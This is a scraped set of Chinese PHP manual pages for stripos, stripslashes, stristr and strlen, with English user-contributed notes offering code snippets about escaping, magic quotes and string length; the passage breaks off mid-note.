jsmneo at dreamworkstudio dot net 04-Jul-2008 07:53
you might want to do a double stripslashes to completely remove 3 consecutive slashes

$stripped = 'this is a string with three\\\ slashes';
$stripped = stripslahses($stripped);
would output:
'this is a string with three\ slashes'

$stripped = 'this is a string with three\\\ slashes';
$stripped = stripslahses(stripslashes($stripped));
would output:
'this is a string with three slashes'


查找字符串首次出现的位置（不区分大小写）

  • ? stripcslashes
  • stripslashes ?
  • PHP Manual
  • 字符串 函数
  • 查找字符串首次出现的位置（不区分大小写）

stripos

(PHP 5, PHP 7, PHP 8)

stripos — 查找字符串首次出现的位置（不区分大小写）

说明

stripos(string $haystack, string $needle, int $offset = 0): int|false

返回在字符串 haystack 中 needle 首次出现的数字位置。

与 strpos() 不同，stripos() 不区分大小写。

参数

haystack

在该字符串中查找。

needle

要搜索的字符串。

Prior to PHP 8.0.0, if needle is not a string, it is converted to an integer and applied as the ordinal value of a character. This behavior is deprecated as of PHP 7.3.0, and relying on it is highly discouraged. Depending on the intended behavior, the needle should either be explicitly cast to string, or an explicit call to chr() should be performed.

offset

可选的 offset 参数，从字符此数量的开始位置进行搜索。 如果是负数，就从字符末尾此数量的字符数开始统计。

返回值

返回 needle 存在于 haystack 字符串开始的位置(独立于偏移量)。同时注意字符串位置起始于 0，而不是 1。

如果未发现 needle 将返回 false。

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

更新日志

版本 | 说明
8.2.0 | 大小写转换不在依赖于使用 setlocale() 设置的区域。只会进行 ASCII 大小写转换。非 ASCII 字节值将通过它们的字节值进行比较。
8.0.0 | needle 现在接受空字符串。
8.0.0 | 不再支持 int 传递给 needle。
7.3.0 | 弃用 int 传递给 needle。
7.1.0 | 开始支持负数的 offset。

示例

Example #1 stripos() 示例

<?php
$findme = 'a';
$mystring1 = 'xyz';
$mystring2 = 'ABC';

$pos1 = stripos($mystring1, $findme);
$pos2 = stripos($mystring2, $findme);

// 'a' 当然不在 'xyz' 中
if ($pos1 === false) {
echo "The string '$findme' was not found in the string '$mystring1'";
}

// 注意这里使用的是 ===。简单的 == 不能像我们期望的那样工作，
// 因为 'a' 的位置是 0（第一个字符）。
if ($pos2 !== false) {
echo "We found '$findme' in '$mystring2' at position $pos2";
}
?>

注释

Note: 此函数可安全用于二进制对象。

参见

  • mb_stripos() - 大小写不敏感地查找字符串在另一个字符串中首次出现的位置
  • str_contains() - 确定字符串是否包含指定子串
  • str_ends_with() - 检查字符串是否以指定子串结尾
  • str_starts_with() - 检查字符串是否以指定子串开头
  • strpos() - 查找字符串首次出现的位置
  • strrpos() - 计算指定字符串在目标字符串中最后一次出现的位置
  • strripos() - 计算指定字符串在目标字符串中最后一次出现的位置（不区分大小写）
  • stristr() - strstr 函数的忽略大小写版本
  • substr() - 返回字符串的子串
  • str_ireplace() - str_replace 的忽略大小写版本

User Contributed Notes

emanuel dot karlsson at rolfsbuss dot se 19-Aug-2018 02:07
Finding numbers in strings requires you to cast the number to string first.

strpos("123", 2) !== strpos("123", "2")
sorrynorealemail at example dot com 02-Aug-2018 01:48
Unlike strpos() it seems that stripos() does NOT issue a WARNING if the needle is an empty string ''.
Ian Macdonald 29-Aug-2015 10:25
Regarding the === note, it might be worth clarifying that the correct tests for a binary found/not found condition are  !==false to detect found, and ===false to detect not found.
spam at kleppinger dot com 04-Mar-2015 02:08
Regarding the function by spam at wikicms dot org

It is very bad practice to use the same function name as an existing php function but have a different output format.  Someone maintaining the code in the future is likely to be very confused by this.  It will also be hard to eradicate from a codebase because the naming is identical so each use of stripos() would have to be analyzed to see how it is expecting the output format (bool or number/bool).

Calling it string_found() or something like that would make a lot more sense for long-term use.
emperorshishire at gmail dot com 24-Feb-2009 07:31
I found myself needing to find the first position of multiple needles in one haystack.  So I wrote this little function:

<?php
function multineedle_stripos($haystack, $needles, $offset=0) {
    foreach($needles as $needle) {
        $found[$needle] = stripos($haystack, $needle, $offset);
    }
    return $found;
}

// It works as such:
$haystack = "The quick brown fox jumps over the lazy dog.";
$needle = array("fox", "dog", ".", "duck")
var_dump(multineedle_stripos($haystack, $needle));
/* Output:
   array(3) {
     ["fox"]=>
     int(16)
     ["dog"]=>
     int(40)
     ["."]=>
     int(43)
     ["duck"]=>
     bool(false)
   }
*/
?>


反引用一个引用字符串

  • ? stripos
  • stristr ?
  • PHP Manual
  • 字符串 函数
  • 反引用一个引用字符串

stripslashes

(PHP 4, PHP 5, PHP 7, PHP 8)

stripslashes — 反引用一个引用字符串

说明

stripslashes(string $string): string

反引用一个引用字符串。

如果不需要将数据插入到一个需要转义的位置（例如数据库）则可以使用 stripslashes()。例如，直接从 HTML 表单输出数据。

参数

string

输入字符串。

返回值

返回一个去除转义反斜线后的字符串（\' 转换为 ' 等等）。双反斜线（\\）被转换为单个反斜线（\）。

示例

Example #1 stripslashes() 示例

<?php
$str = "Is your name O\'reilly?";

// 输出: Is your name O'reilly?
echo stripslashes($str);
?>

Note:

stripslashes() 是非递归的。如果你想要在多维数组中使用该函数，你需要使用递归函数。

Example #2 对数组使用 stripslashes()

<?php
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);

return $value;
}

// 示例
$array = array("f\\'oo", "b\\'ar", array("fo\\'o", "b\\'ar"));
$array = stripslashes_deep($array);

// 输出
print_r($array);
?>

以上示例会输出：

Array
(
    [0] => f'oo
    [1] => b'ar
    [2] => Array
        (
            [0] => fo'o
            [1] => b'ar
        )

)

参见

  • addslashes() - 使用反斜线引用字符串
  • get_magic_quotes_gpc() - 获取当前 magic_quotes_gpc 的配置选项设置

User Contributed Notes

powerofBBC at gmail dot com 10-Dec-2018 09:21
$regex_pattern = "/<a href=\"(.*)\">(.*)<\/a>/";

if( (strlen($_POST['query']) > 0) && (preg_match_all($regex_pattern, $_POST['query']) )
{ echo "Tags found"; }
Anonymous 11-Oct-2014 09:23
Rather use str_replace than explode/implode for your purpose.
ivijan dot stefan at gmail dot com 04-Mar-2014 03:29
Sometimes for some reason is happens that PHP or Javascript or some naughty insert a lot of  backslash. Ordinary function does not notice that. Therefore, it is necessary that the bit "inflate":

<?php
function removeslashes($string)
{
    $string=implode("",explode("\\",$string));
    return stripslashes(trim($string));
}

/* Example */

$text="My dog don\\\\\\\\\\\\\\\\'t like the postman!";
echo removeslashes($text);
?>

RESULT: My dog don't like the postman!

This flick has served me wery well, because I had this problem before.
Yousef Ismaeil Cliprz 19-Feb-2013 07:41
If you want to use stripslashes(); function for a string or array you can create a user function

as in example:

<?php

if (!function_exists('strip_slashes'))
{
    /**
     * Un-quotes a quoted string.
     *
     * @param (mixed) $str - The input string.
     * @author Yousef Ismaeil Cliprz
     */
    function strip_slashes($str)
    {
        if (is_array($str))
        {
            foreach ($str as $key => $val)
            {
                $str[$key] = strip_slashes($val);
            }
        }
        else
        {
            $str = stripslashes($str);
        }

        return $str;
    }
}

$arr = array('Yousef\\\'s','\"PHP.net\"','user\\\'s');

echo 'With strip_slashes() function:<br />';
print_r(strip_slashes($arr));
echo '<br />';
echo 'Without strip_slashes() function:<br />';
print_r($arr);

/** You will get
With strip_slashes() function:
Array ( [0] => Yousef's [1] => "PHP.net" [2] => user's )
Without strip_slashes() function:
Array ( [0] => Yousef\'s [1] => \"PHP.net\" [2] => user\'s )
*/

?>
StefanoAI 27-Jan-2013 02:31
Recursive stripslashes
<?php
if (get_magic_quotes_gpc()) {

    function stripslashes_array(&$arr) {
        foreach ($arr as $k => &$v) {
            $nk = stripslashes($k);
            if ($nk != $k) {
                $arr[$nk] = &$v;
                unset($arr[$k]);
            }
            if (is_array($v)) {
                stripslashes_array($v);
            } else {
                $arr[$nk] = stripslashes($v);
            }
        }
    }

    stripslashes_array($_POST);
    stripslashes_array($_GET);
    stripslashes_array($_REQUEST);
    stripslashes_array($_COOKIE);
}
?>
todd at toddzebert dot com 26-Jun-2012 07:18
Attempting to use stripslashes on an array in 5.2.17 returns the string "Array", but in 5.3.6 it returns NULL.
tarmo at goyf dot de 06-Mar-2012 02:58
When matching strings with approstrophes against the mysql database, my query kept failing while it worked fine when I copied the same query directly to perform the database query. After several hours I found that stripslashes() made the string longer and hence it wasn't "equal" for the query.

This code shows the behavior (copy into "test.php"). Replacing stripslashes worked for me.

<?php
echo '<h2>Post-Data</h2>';
var_dump($_POST);

$f1 = trim(filter_var(stripslashes($_POST[form]), FILTER_SANITIZE_STRING));
echo '<h2>stripslashes</h2>';
var_dump($f1);

$f2 = trim(str_replace("|","'",filter_var(str_replace("\'","|",$_POST[form]), FILTER_SANITIZE_STRING)));
echo '<h2>workaround</h2>';
var_dump($f2);

echo '<form action="test.php" method="post">
    <input type="text" name="form">
    <input type="submit">
    </form>';
?>

Entering "foo'bar" creates this output:
// Post-Data
// array(1) { ["form"]=> string(8) "foo\'bar" }
// stripslashes
// string(11) "foo'bar"
// workaround
// string(7) "foo'bar"
jeremysawesome 10-Dec-2010 12:39
I'm using this to clean the $_POST array:
<?php
array_walk_recursive($_POST, create_function('&$val', '$val = stripslashes($val);'));
?>
jeremycook0 at googlemail dot com 01-Aug-2010 08:04
Here's a way of stripping slashes in PHP 5.3 using a recursive closure:

<?php
  if (get_magic_quotes_gpc()) {
      $strip_slashes_deep = function ($value) use (&$strip_slashes_deep) {
          return is_array($value) ? array_map($strip_slashes_deep, $value) : stripslashes($value);
      };
      $_GET = array_map($strip_slashes_deep, $_GET);
      $_POST = array_map($strip_slashes_deep, $_POST);
      $_COOKIE = array_map($strip_slashes_deep, $_COOKIE);
  }
?>

Note that the variable '$strip_slashes_deep' has to be passed to the closure by reference. I think that this is because at the time the closure is created the variable '$strip_slashes_deep' doesn't exist: the closure itself becomes the value of the variable. Passing by reference solves this issue. This closure could easily be adapted to use other methods of stripping slashes such as preg_replace().
eugene at ultimatecms dot co dot za 23-Nov-2009 05:03
This is a simple function to remove the slashes added by functions such as magic_quotes_gpc and mysql_escape_string etc.

<?php

function no_magic_quotes($query) {
        $data = explode("\\",$query);
        $cleaned = implode("",$data);
        return $cleaned;
}

// I'm using mysql_escape_string as a simple example, but this function would work for any escaped string.
$query = "It's amaizing! Who's to say this isn't a simple function?";
$badstring = mysql_escape_string($query);

echo '<b>Without funtion:</b> '.$badstring;
echo '<br><br>';
echo '<b>With function:</b> '.no_magic_quotes($badstring);

?>

Output:
Without funtion: It\'s amaizing! Who\'s to say this isn\'t a simple function?

With function: It's amaizing! Who's to say this isn't a simple function?
michal at roszka dot pl 31-Aug-2009 08:00
The goal is to leave the input untouched in PHP 5.2.8. Let's have this sample text given in $_POST['example']:

a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( \0 )

Let's have two simple scripts:

Script A:
<?php echo $_POST['example']; ?>

Script B:
<?php echo stripslashes($_POST['example']); ?>

Let's have four different configurations and corresponding output:

Case #1:

 * magic_quotes_gpc = Off
 * magic_quotes_sybase = Off

A: a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( \0 )
B: a backslash (  ), a single-quote ( ' ), a double-quote ( " ) and a null character ( ? )

Case #2

 * magic_quotes_gpc = On
 * magic_quotes_sybase = Off

A: a backslash ( \\ ), a single-quote ( \' ), a double-quote ( \" ) and a null character ( \\0 )
B: a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( \0 )

Case #3

 * magic_quotes_gpc = On
 * magic_quotes_sybase = On

A: a backslash ( \ ), a single-quote ( '' ), a double-quote ( " ) and a null character ( \0 )
B: a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( ? )

Case #4

 * magic_quotes_gpc = Off
 * magic_quotes_sybase = On

A: a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( \0 )
B: a backslash (  ), a single-quote ( ' ), a double-quote ( " ) and a null character ( ? )

Conclusions:

1) we do not need to do anything, if the magic_quotes_gpc is disabled (cases 1 and 4);
2) stripslashes($_POST['example']) only works, if the magic_quotes_gpc is enabled, but the magic_quotes_sybase is disabled (case 2);
3) str_replace("''", "'", $_POST['example']) will do the trick if both the magic_quotes_gpc and the magic_quotes_sybase are enabled (case 3);

<?php
function disable_magic_quotes_gpc()
{
    if (TRUE == function_exists('get_magic_quotes_gpc') && 1 == get_magic_quotes_gpc())
    {
        $mqs = strtolower(ini_get('magic_quotes_sybase'));

        if (TRUE == empty($mqs) || 'off' == $mqs)
        {
            // we need to do stripslashes on $_GET, $_POST and $_COOKIE
        }
        else
        {
            // we need to do str_replace("''", "'", ...) on $_GET, $_POST, $_COOKIE
        }
    }
    // otherwise we do not need to do anything
}
?>

Important notes:

1) arrays need to be processed recursively;

2) both stripslashes and str_replace functions always return strings, so:

* TRUE will become a string "1",
* FALSE will become an empty string,
* integers and floats will become strings,
* NULL will become an empty string.

On the other hand you only need to process strings, so use the is_string function to check;

3) when dealing with other (than GPC) data sources, such as databases or text files, remember to play with the magic_quotes_runtime setting as well, see, what happens and write a corresponding function, i.e. disable_magic_quotes_runtime() or something.

4) VERY IMPORTANT: when testing, remember the null character. Otherwise your tests will be inconclusive and you may end up with... well, serious bugs :)
JacobRas.nl 28-Jul-2009 05:41
Hi,

Here's an function that strips not only \', but also \\' and \\\' and so on (depending on $times). $text = the text that needs to be stripped, $times = how much backslashes should be stripped.

<?php

function stripslashes_deep ($text, $times) {

    $i = 0;

    // loop will execute $times times.
    while (strstr($text, '\\') && $i != $times) {

        $text= stripslashes($text);
        $i++;

    }

    return $text;

}

?>

Example: $text = \\'quote\\' . <?php stripslashes_deep($text, 2); ?> will return 'quote'.
Note: <?php stripslashes_deep($text, 3); ?> will also return 'quote'.
shredder at technodrome dot com 09-May-2009 03:50
Hi,

Here are recursive addslashes / stripslashes functions.
given a string - it will simply add / strip slashes
given an array - it will recursively add / strip slashes from the array and all of it subarrays.
if the value is not a string or array - it will remain unmodified!

<?php

function add_slashes_recursive( $variable )
{
    if ( is_string( $variable ) )
        return addslashes( $variable ) ;

    elseif ( is_array( $variable ) )
        foreach( $variable as $i => $value )
            $variable[ $i ] = add_slashes_recursive( $value ) ;

    return $variable ;
}

function strip_slashes_recursive( $variable )
{
    if ( is_string( $variable ) )
        return stripslashes( $variable ) ;
    if ( is_array( $variable ) )
        foreach( $variable as $i => $value )
            $variable[ $i ] = strip_slashes_recursive( $value ) ;

    return $variable ;
}

?>
dragon[dot]dionysius[at]gmail[dot]com 24-Mar-2009 08:07
I use this function in my class to stripslashes arrays including NULL-check:

<?php
    private function stripslashes_deep($value) {
        if(is_array($value)) {
            foreach($value as $k => $v) {
                $return[$k] = $this->stripslashes_deep($v);
            }
        } elseif(isset($value)) {
            $return = stripslashes($value);
        }
        return $return;
    }
?>
Tom Worster 23-Mar-2009 07:26
A replacement that should be safe on utf-8 strings.
<?php
  preg_replace(array('/\x5C(?!\x5C)/u', '/\x5C\x5C/u'), array('','\\'), $s);
?>
o-zone at zerozone dot it 19-Mar-2009 03:53
If you need to remove all slashes from a string, here's a quick hack:

<?php
function stripallslashes($string) {
    while(strchr($string,'\\')) {
        $string = stripslashes($string);
    }
}
?>

Hope it's usefull , O-Zone
techdesk100 28-Apr-2008 07:58
Function which checks if $input has correct slashes,
otherwise adds slashes. For cases when you are not sure the input is not already addslashed.

    public function addslashes_once($input){
        //These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
        $pattern = array("\\'", "\\\"", "\\\\", "\\0");
        $replace = array("", "", "", "");
        if(preg_match("/[\\\\'\"\\0]/", str_replace($pattern, $replace, $input))){
            return addslashes($input);
        }
        else{
            return $input;
        }
    }
Aditya P Bhatt (adityabhai at gmail dot com) 27-Mar-2008 10:03
Here is simple example code which you can use as a common function in your functions file:

<?php
function stripslashes_if_gpc_magic_quotes( $string ) {
    if(get_magic_quotes_gpc()) {
        return stripslashes($string);
    } else {
        return $string;
    }
}
?>
Evgeny 26-Feb-2008 07:52
extended version of stripslashes_deep. This allow to strip one also in the array_keys

    function stripslashes_deep($value) {
        if (is_array($value)) {
            if (count($value)>0) {
                $return = array_combine(array_map('stripslashes_deep', array_keys($value)),array_map('stripslashes_deep', array_values($value)));
            } else {
                $return = array_map('stripslashes_deep', $value);
            }
            return $return;
        } else {
            $return = stripslashes($value);
            return $return ;
        }
    }
alex dot launi at gmail dot com 21-Dec-2007 07:16
kibby: I modified the stripslashes_deep() function so that I could use it on NULL values.

function stripslashes_deep($value)
{
    if(isset($value)) {
        $value = is_array($value) ?
            array_map('stripslashes_deep', $value) :
            stripslashes($value);
    }
    return $value;
}
lukas.skowronski at gmail dot com 20-Jun-2007 04:15
If You want to delete all slashes from any table try to use my function:

function no_slashes($array)
    {
        foreach($array as $key=>$value)
            {
                if(is_array($value))
                    {
                        $value=no_slashes($value);
                        $array_temp[$key]=$value;
                    }
                else
                    {
                        $array_temp[$key]=stripslashes($value);
                    }
            }
        return $array_temp;
    }
dragonfly at networkinsight dot net 11-Mar-2007 03:22
If you are having trouble with stripslashes() corrupting binary data, try using urlencode() and urldecode() instead.
JAB Creations 05-Mar-2007 08:49
When writing to a flatfile such as an HTML page you'll notice slashes being inserted. When you write to that page it's interesting how to apply stripslashes...

I replaced this line...
<?php fwrite($file, $_POST['textarea']); ?>

With...
<?php if (get_magic_quotes_gpc()) {fwrite ($file, stripslashes($_POST['textarea']));}?>

You have to directly apply stripslashes to $_POST, $_GET, $_REQUEST, and $_COOKIE.
gregory at nutt dot ca 22-Feb-2007 06:48
Here is code I use to clean the results from a MySQL query using the stripslashes function.

I do it by passing the sql result and the sql columns to the function strip_slashes_mysql_results.  This way, my data is already clean by the time I want to use it.

    function db_query($querystring, $array, $columns)
    {
      if (!$this->connect_to_mysql())
       return 0;

     $queryresult = mysql_query($querystring, $this->link)
        or die("Invalid query: " . mysql_error());

      if(mysql_num_rows($queryresult))
      {
          $columns = mysql_field_names ($queryresult);

          if($array)
          {
              while($row = mysql_fetch_row($queryresult))
                $row_meta[] = $this->strip_slashes_mysql_results($row, $columns);
              return $row_meta;
          }
          else
          {
              while($row = mysql_fetch_object($queryresult))
                $row_meta[] = $this->strip_slashes_mysql_results($row, $columns);
              return $row_meta;
          }
      }
      else
        return 0;
    }

    function strip_slashes_mysql_results($result, $columns)
    {
        foreach($columns as $column)
        {
              if($this->debug)
                  printp(sprintf("strip_slashes_mysql_results: %s",strip_slashes_mysql_results));
              $result->$column = stripslashes($result->$column);
        }
        return $result;
    }
stoic 02-Jan-2007 08:31
in response to crab dot crab at gmail dot com:

$value need not be passed by reference. The 'stripped' value is returned. The passed value is not altered.
Kibby 14-May-2006 01:41
Okay, if using stripslashes_deep, it will definitely replace any NULL to "".  This will affect to coding that depends isset().  Please provide a workaround based on recent note.
hauser dot j at gmail dot com 21-Feb-2006 02:13
Don't use stripslashes if you depend on the values NULL.

Apparently stripslashes converts NULL to string(0) ""

<?php
$a = null;
var_dump($a);

$b = stripslashes($a);
var_dump($b);
?>
Will output

NULL
string(0) ""
alf at mitose dot net 25-Oct-2005 05:09
Take care using stripslashes() if the text you want to insert in the database contain \n characters ! You'll see "n" instead of (not seeing) "\n".

It should be no problem for XML, but is still boring ...
10-Feb-2005 07:45
If you want to deal with slashes in double-byte encodings, such as shift_jis or big5, you may use this:

<?
function stripslashes2($string) {
    $string = str_replace("\\\"", "\"", $string);
    $string = str_replace("\\'", "'", $string);
    $string = str_replace("\\\\", "\\", $string);
    return $string;
}
?>
mattyblah at gmail dot com 10-Sep-2004 08:51
It should be of note that if you are stripping slashes to get rid of the slashes added by magic_quotes_gpc then it will also remove slashes from \. This may not seem that bad but if you have someone enter text such as 'testing\' with a slash at the end, this will cause an error if not corrected. It's best to strip the slashes, then add a slash to every single slash using $text = str_replace('\\', '\\\\', $text);
hash at samurai dot fm 30-Nov-2003 09:34
Might I warn readers that they should be vary careful with the use of stripslashes on Japanese text. The shift_jis character set includes a number of two-byte code charcters that contain the hex-value 0x5c (backslash) which will get stripped by this function thus garbling those characters.

What a nightmare!


strstr 函数的忽略大小写版本

  • ? stripslashes
  • strlen ?
  • PHP Manual
  • 字符串 函数
  • strstr 函数的忽略大小写版本

stristr

(PHP 4, PHP 5, PHP 7, PHP 8)

stristr — strstr() 函数的忽略大小写版本

说明

stristr(string $haystack, string $needle, bool $before_needle = false): string|false

返回 haystack 字符串从 needle 第一次出现的位置开始到结尾的字符串。

参数

haystack

在该字符串中查找。

needle

要搜索的字符串。

Prior to PHP 8.0.0, if needle is not a string, it is converted to an integer and applied as the ordinal value of a character. This behavior is deprecated as of PHP 7.3.0, and relying on it is highly discouraged. Depending on the intended behavior, the needle should either be explicitly cast to string, or an explicit call to chr() should be performed.

before_needle

若为 true，strstr() 将返回 needle 在 haystack 中的位置之前的部分(不包括 needle)。

参数 needle 和 haystack 将以不区分大小写的方式对待。

返回值

返回匹配的子字符串。如果 needle 未找到，返回 false。

更新日志

版本 | 说明
8.2.0 | 大小写转换不在依赖于使用 setlocale() 设置的区域。只会进行 ASCII 大小写转换。非 ASCII 字节值将通过它们的字节值进行比较。
8.0.0 | needle 现在接受空字符串。
8.0.0 | 不再支持 int 传递给 needle。
7.3.0 | 弃用 int 传递给 needle。

示例

Example #1 stristr() 示例

<?php
$email = 'USER@EXAMPLE.com';
echo stristr($email, 'e'); // 输出 ER@EXAMPLE.com
echo stristr($email, 'e', true); // 输出 US
?>

Example #2 测试字符串的存在与否

<?php
$string = 'Hello World!';
if(stristr($string, 'earth') === FALSE) {
echo '"earth" not found in string';
}
// 输出: "earth" not found in string
?>

Example #3 使用非字符串 needle

<?php
$string = 'APPLE';
echo stristr($string, 97); // 97 = 小写字母 a
// 输出: APPLE
?>

注释

Note: 此函数可安全用于二进制对象。

参见

  • strstr() - 查找字符串的首次出现
  • strrchr() - 查找指定字符在字符串中的最后一次出现
  • stripos() - 查找字符串首次出现的位置（不区分大小写）
  • strpbrk() - 在字符串中查找一组字符的任何一个字符
  • preg_match() - 执行匹配正则表达式

User Contributed Notes

jukka 23-May-2014 10:33
I think there is a bug in php 5.3 in stristr with uppercase ? containing other character

http://pastebin.com/5bP6uztY

if you search only with t?ry it works, but as soon as the word is t?ryl?  it does not. T?RYL works fine
greg at no_ggmac_reply dot com 13-Jan-2011 01:20
Beware the example given here:

if stristr($message,'viagra')
or stristr($message,'cialis')
)
{
die();
}

stristr does not search for words, it finds matching substrings.  So, for example, the check for 'cialis' will trigger on 'specialist'
tomas dot nesrovnal at yourspirit dot cz 18-Dec-2008 12:36
Active item item in menu:

<?php
function aim($page) {
    if(stristr($_SERVER['REQUEST_URI'], $page)) {
        return ' class="active"';
    }
}
?>

usage:

<style type="text/css">
.active {color: red;}
</style>

<?php
print '<a href="http://example.com/page/hello-world/"'. aim('hello-world') .'>HW</a>';
?>
giz at gbdesign dot net 06-Oct-2007 05:02
Just been caught out by stristr trying to converting the needle from an Int to an ASCII value.

Got round this by casting the value to a string.

<?php
if( !stristr( $file, (string) $myCustomer->getCustomerID()  ) ) {
  // Permission denied
}
?>
art at awilton dot dotcom 07-Nov-2005 09:17
handy little bit of code I wrote to take arguments from the command line and parse them for use in my apps.

<?php

 $i = implode(" ",$argv); //implode all the settings sent via clie
 $e = explode("-",$i); // no lets explode it using our defined seperator '-'

       //now lets parse the array and return the parameter name and its setting
       // since the input is being sent by the user via the command line
       //we will use stristr since we don't care about case sensitivity and
       //will convert them as needed later.

    while (list($index,$value) = each($e)){

       //lets grap the parameter name first using a double reverse string
       // to get the begining of the string in the array then reverse it again
       // to set it back. we will also "trim" off the "=" sign

     $param = rtrim(strrev(stristr(strrev($value),'=')),"=");

       //now lets get what the parameter is set to.
       // again "trimming" off the = sign

     $setting = ltrim(stristr($value,'='),"=");

       // now do something with our results.
       // let's just echo them out so we can see that everything is working

      echo "Array index is ".$index." and value is ".$value."\r\n";
      echo "Parameter is ".$param." and is set to ".$setting."\r\n\r\n";

}

?>

when run from the CLI this script returns the following.

[root@fedora4 ~]# php a.php -val1=one -val2=two -val3=three

Array index is 0 and value is a.php
Parameter is  and is set to

Array index is 1 and value is val1=one
Parameter is val1 and is set to one

Array index is 2 and value is val2=two
Parameter is val2 and is set to two

Array index is 3 and value is val3=three
Parameter is val3 and is set to three

[root@fedora4 ~]#
notepad at codewalkers dot com 05-Jun-2005 01:02
<?php

function stristr_reverse($haystack, $needle) {
  $pos = stripos($haystack, $needle) + strlen($needle);
  return substr($haystack, 0, $pos);
}
$email = 'USER@EXAMPLE.com';
echo stristr_reverse($email, 'er');
// outputs USER

?>
Techdeck at Techdeck dot org 12-Nov-2002 12:26
An example for the stristr() function:

<?php
$a = "I like php";
if (stristr("$a", "LikE PhP")) {
print ("According to \$a, you like PHP.");
}
?>

It will look in $a for "like php" (NOT case sensetive. though, strstr() is case-sensetive).

For the ones of you who uses linux.. It is similiar to the "grep" command.
Actually.. "grep -i".
dpatton.at.confluence.org 02-Oct-2002 09:36
There was a change in PHP 4.2.3 that can cause a warning message
to be generated when using stristr(), even though no message was
generated in older versions of PHP.

The following will generate a warning message in 4.0.6 and 4.2.3:
  stristr("haystack", "");
     OR
  $needle = "";  stristr("haystack", $needle);

This will _not_ generate an "Empty Delimiter" warning message in
4.0.6, but _will_ in 4.2.3:
  unset($needle); stristr("haystack", $needle);

Here's a URL that documents what was changed:
http://groups.google.ca/groups?selm=cvshholzgra1031224321%40cvsserver


获取字符串长度

  • ? stristr
  • strnatcasecmp ?
  • PHP Manual
  • 字符串 函数
  • 获取字符串长度

strlen

(PHP 4, PHP 5, PHP 7, PHP 8)

strlen — 获取字符串长度

说明

strlen(string $string): int

返回给定的字符串 string 的长度。

参数

string

需要计算长度的字符串。

返回值

返回 string 的字节数。

示例

Example #1 strlen() 示例

<?php
$str = 'abcdef';
echo strlen($str); // 6

$str = ' ab cd ';
echo strlen($str); // 7
?>

注释

Note:

strlen() 返回的是字符串的字节数，而不是其中字符的数量。

参见

  • count() - 统计数组、Countable 对象中所有元素的数量
  • grapheme_strlen() - Get string length in grapheme units
  • iconv_strlen() - 返回字符串的字符数统计
  • mb_strlen() - 获取字符串的长度

User Contributed Notes

Daniel Klein 22-Oct-2022 12:13
Since PHP 8.0, passing null to strlen() is deprecated. To check for a blank string (not including '0'):

<?php
// PHP < 8.0
if (!strlen($text)) {
  echo 'Blank';
}

// PHP >= 8.0
if ($text === null || $text === '')) {
  echo 'empty';
}
John 12-Feb-2017 04:08
There's a LOT of misinformation here, which I want to correct! Many people have warned against using strlen(), because it is "super slow". Well, that was probably true in old versions of PHP. But as of PHP7 that's definitely no longer true. It's now SUPER fast!

I created a 20,00,000 byte string (~20 megabytes), and iterated ONE HUNDRED MILLION TIMES in a loop. Every loop iteration did a new strlen() on that very, very long string.

The result: 100 million strlen() calls on a 20 megabyte string only took a total of 488 milliseconds. And the strlen() calls didn't get slower/faster even if I made the string smaller or bigger. The strlen() was pretty much a constant-time, super-fast operation

So either PHP7 stores the length of every string as a field that it can simply always look up without having to count characters. Or it caches the result of strlen() until the string contents actually change. Either way, you should now never, EVER worry about strlen() performance again. As of PHP7, it is super fast!

Here is the complete benchmark code if you want to reproduce it on your machine:

<?php

$iterations = 100000000; // 100 million
$str = str_repeat( '0', 20000000 );

// benchmark loop and variable assignment to calculate loop overhead
$start = microtime(true);
for( $i = 0; $i < $iterations; ++$i ) {
    $len = 0;
}
$end = microtime(true);
$loop_elapsed = 1000 * ($end - $start);

// benchmark strlen in a loop
$len = 0;
$start = microtime(true);
for( $i = 0; $i < $iterations; ++$i ) {
    $len = strlen( $str );
}
$end = microtime(true);
$strlen_elapsed = 1000 * ($end - $start);

// subtract loop overhead from strlen() speed calculation
$strlen_elapsed -= $loop_elapsed;

echo "\nstring length: {$len}\ntest took: {$strlen_elapsed} milliseconds\n";

?>
joeri at sebrechts dot net 26-Jul-2016 08:26
When checking for length to make sure a value will fit in a database field, be mindful of using the right function.

There are three possible situations:

1. Most likely case: the database column is UTF-8 with a length defined in unicode code points (e.g. mysql varchar(200) for a utf-8 database).

<?php
// ok if php.ini default_charset set to UTF-8 (= default value)
mb_strlen($value);
iconv_strlen($value);
// always ok
mb_strlen($value, "UTF-8");
iconv_strlen($value, "UTF-8");

// BAD, do not use:
strlen(utf8_decode($value)); // breaks for some multi-byte characters
grapheme_strlen($value); // counts graphemes, not code points
?>

2. The database column has a length defined in bytes (e.g. oracle's VARCHAR2(200 BYTE))

<?php
// ok, but assumes mbstring.func_overload is 0 in php.ini (= default value)
strlen($value);
// ok, forces count in bytes
mb_strlen($value, "8bit")
?>

3. The database column is in another character set (UTF-16, ISO-8859-1, etc...) with a length defined in characters / code points.

Find the character set used, and pass it explicitly to the length function.

<?php
// ok, supported charsets: http://php.net/manual/en/mbstring.supported-encodings.php
mb_strlen($value, $charset);
// ok, supported charsets: https://www.gnu.org/software/libiconv/
iconv_strlen($value, $charset);
?>
rm dot nasir at hotmail dot com 14-Dec-2015 09:08
I want to share something seriously important for newbies or beginners of PHP who plays with strings of UTF8 encoded characters or the languages like: Arabic, Persian, Pashto, Dari, Chinese (simplified), Chinese (traditional), Japanese, Vietnamese, Urdu, Macedonian, Lithuanian, and etc.
As the manual says: "strlen() returns the number of bytes rather than the number of characters in a string.", so if you want to get the number of characters in a string of UTF8 so use mb_strlen() instead of strlen().

Example:

<?php
// the Arabic (Hello) string below is: 59 bytes and 32 characters
$utf8 = "?????? ????? ????? ???? ???????!";

var_export( strlen($utf8) ); // 59
echo "<br>";
var_export( mb_strlen($utf8, 'utf8') ); // 32
?>
jasonrohrer at fastmail dot fm 13-Jun-2013 10:48
PHP's strlen function behaves differently than the C strlen function in terms of its handling of null bytes ('\0').

In PHP, a null byte in a string does NOT count as the end of the string, and any null bytes are included in the length of the string.

For example, in PHP:

